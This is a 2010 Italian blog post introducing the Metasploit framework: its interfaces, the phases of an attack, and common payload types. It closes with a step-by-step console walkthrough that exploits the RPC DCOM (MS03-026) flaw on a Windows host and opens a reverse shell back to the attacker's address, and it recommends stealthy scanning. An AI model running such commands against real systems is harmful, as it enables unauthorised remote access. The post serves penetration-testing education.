giovedì 25 novembre 2010

Metasploit framework

Cercare di riassumere tutte le funzionalità di "Metasploit" in un solo articolo è un'impresa a dir poco ardua,quindi cercheremo di analizzare la sua struttura e i suoi possibili utilizzi in vari articoli corredati di esempi, che verranno postati nel blog di tanto in tanto.Per prima cosa cerchiamo di capire che cosa è esattamente "Metasploit", esso è un insieme di strumenti software (framework) dedicati allo sviluppo ed esecuzione di exploits,shellcodes,opcode. In sostanza possiamo affermare che in se "Metasploit" racchiude tutti gli strumenti che occorrono nel "penetration testing". La prima versione risale al 2004 originariamente scritta in perl,il suo grande  successo ha contribuito ed aumentato il suo sviluppo, grazie anche al fatto che metasploit consente di scrivere proprio codice , e partecipare cosi alla crescita del progetto.E' possibile accedere alle funzionalità del framework attraverso 5 interfacce:

1)mfsconsole , un'interfaccia testuale rapida stabile e completa.
2)mfscli, interfaccia testuale a riga di comando
3)msfweb, interfaccia web probabilmente la più "comoda" , che consente di utilizzare il framework direttamente dal browser
4)msfgui, interfaccia grafica propria.
5)msfapi , che consente l' interfacciamento del framework con altri strumenti software.

Generalmente un attacco si svolge attraverso 5 fasi:

1)Scelta e configurazione di un exploit, ovvero del codice che deve colpire una certa vulnerabilità.
2)Verifica che il sistema sia soggetto all' azione di quel particolare exploit.
3)Scelta e configurazione di un payload, codice che viene eseguito nel caso l' exploit abbia avuto successo.
4)Scelta della crittografia del payload.
5)Esecuzione dell' exploit.
 Ovviamente la scelta dell' exploit da utilizzare presuppone che il sistema bersaglio sia vulnerabile, per assicurarsi di ciò Backtrack mette a disposizione molti strumenti, a volte basta una scansione delle porte, a volte è necessario ricorrere a strumenti più complessi come Nessus,naturalmente è necessario che questa analisi sia più nascosta possibile.Facciamo un esempio tipico lavorando con mfsconsole, se ad una scansione con NMAP ricevete una risposta simile a questa:
 
Potete indirizzarvi subito sull' exploit da utilizzare, in quanto il sistema operativo dell' host remoto(windows) e la porta 135 aperta , indicano la ben nota falla sull'interfaccia RPC DCOM, quindi la scelta dell' exploit cadrà su msrpc_dcom_ms03_0026. Dalla console di Metasploit se digitate:

use msrpc_dcom_ms03_0026

Nel caso in esame , per un corretto funzionamento dell' exploit si deve settare l' indirizzo dell' host target,in generale digitando "show options" dopo "use (nome exploit)", si ottengono informazioni sui vari paramentri da settare.

set RHOST XXX.XXX.XXX.XXX

Ora l'exploit è pronto per essere eseguito sull' host target. Procediamo con la scelta del payload, metasploit mette a disposizione diversi payload che possono essere combinati con i vari exploit quelli più comuni sono:

-download_exec Scaricano ed eseguono un eseguibile sul sistema target.
-dllinject Istallano una libreria sul sistema target.
-exec Eseguono un comando sul sistema target.
-shell Ottengono una shell dei comandi sul sistema target.
-vncinject Eseguono una sessione vnc sul sistema terget.

Nel nostro esempio, carichiamo come payload una "reverse shell", in modo che se nel sistema target fosse presente un firewall che blocca i programmi server , non ci sarebbero problemi, in quanto la richiesta di connessione con questo tipo di payload avviene da parte del sistema target.

set PAYLOAD win32_reverse


Adesso settiamo LHOST, il nostro indirizzo IP per ricevere la connessione:

set LHOST xxx.xxx.xxx.xxx

Ed infine lanciamo l' exploit con il comando:

exploit

Se tutto è andato bene avrete la vostra shell, come mostrato in figura.

Nessun commento:

Posta un commento